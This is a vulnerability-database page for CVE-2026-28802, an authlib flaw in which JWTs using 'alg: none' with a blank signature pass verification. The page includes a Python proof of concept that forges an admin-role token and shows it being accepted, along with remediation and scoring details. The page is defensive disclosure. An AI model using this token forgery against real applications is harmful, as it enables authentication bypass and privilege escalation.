Skip to main content

CVE-2026-28802 — Vulnerability in authlib — CVE Details

HIGH

Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification

Published March 4, 2026Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.64%). Schedule for your next planned update.

Does your project use an affected authlib version?

Paste your requirements.txt to check it for CVE-2026-28802 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my requirements.txt

Summary

Summary

After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.

Details

It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75

PoC

from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64


def create_jwks():
    private_key = rsa.generate_private_key(
        public_exponent=65537, key_size=2048, backend=default_backend()
    )
    public_pem = private_key.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    jwk = JsonWebKey.import_key(public_pem).as_dict()
    jwk["kid"] = "test-key-001"
    jwk["use"] = "sig"
    jwk["alg"] = "RS256"
    jwks = {"keys": [jwk]}
    return jwks


def create_forged_token_with_alg_none():
    forged_header = {"alg": "none"}
    forged_payload = {
        "sub": "user123",
        "role": "admin",
        "iat": 1735603200,
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode("utf-8")
    ).rstrip(b"=")

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_payload).encode("utf-8")
    ).rstrip(b"=")

    forged_token = header_b64 + b"." + payload_b64 + b"."
    return forged_token


jwks = create_jwks()
forged_token = create_forged_token_with_alg_none()
try:
    claims = jwt.decode(forged_token, jwks)
    print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}")
except Exception as e:
    print(f"SECURE: Token rejected - {type(e).__name__}")

Output:

pip install -q authlib==1.5.2
python3 authlib_alg_none_vulnerability.py 
SECURE: Token rejected - BadSignatureError
pip install -q authlib==1.6.5
python3 authlib_alg_none_vulnerability.py 
VULNERABLE: Forged token (alg:none) accepted: role=admin

Impact

Users of the library are likely not aware that they now need to check the provided headers and disallow alg: none usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.

Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:

  • Authentication bypass
  • Privilege escalation
  • Unauthorized access
  • Modification of application data

Advisory Timeline

  • First published March 4, 2026 (268 days ago).
  • Last revised September 10, 2026 — 189 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update authlib to 1.6.7 or later
pip install "authlib>=1.6.7"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: PyPI (1).

PackageFixed In
authlib PyPI · Affected: 1.6.5, 1.6.61.6.7

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-347
    Improper Verification of Cryptographic SignatureMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Frequently Asked Questions

What is CVE-2026-28802?
Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-28802?
CVE-2026-28802 affects authlib. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-28802 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.64%
EPSS percentile: 45

This is a below-median EPSS score — only 45% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-7wc2-qxgw-g8gg
PYSEC-2026-2118

Related CVEs

  • CVE-2026-96760
    CRITICAL

    Authlib: empty signatures validation in JWS JSON deserialization

  • CVE-2026-28490
    HIGH

    Authlib Vulnerable to JWE RSA1_5 Bleichenbacher Padding Oracle

  • CVE-2026-114615
    HIGH

    Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys

  • CVE-2026-114616
    HIGH

    Authlib accepts an empty HMAC key, allowing JWS/JWT signature forgery (HS256/HS384/HS512)

  • CVE-2026-114617
    MEDIUM

    Authlib: ID token can disable its own nonce validation via the nonce_supported claim

  • CVE-2026-114618
    MEDIUM

    Authlib: Default JWT bearer grant accepts assertions for the wrong audience

  • CVE-2025-68158
    MEDIUM

    Authlib has 1-click Account Takeover vulnerability

  • CVE-2026-114614
    LOW

    Authlib: is_secure_transport() loopback exemption can be bypassed with a userinfo component, allowing cleartext-HTTP URLs to non-loopback hosts

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my requirements.txt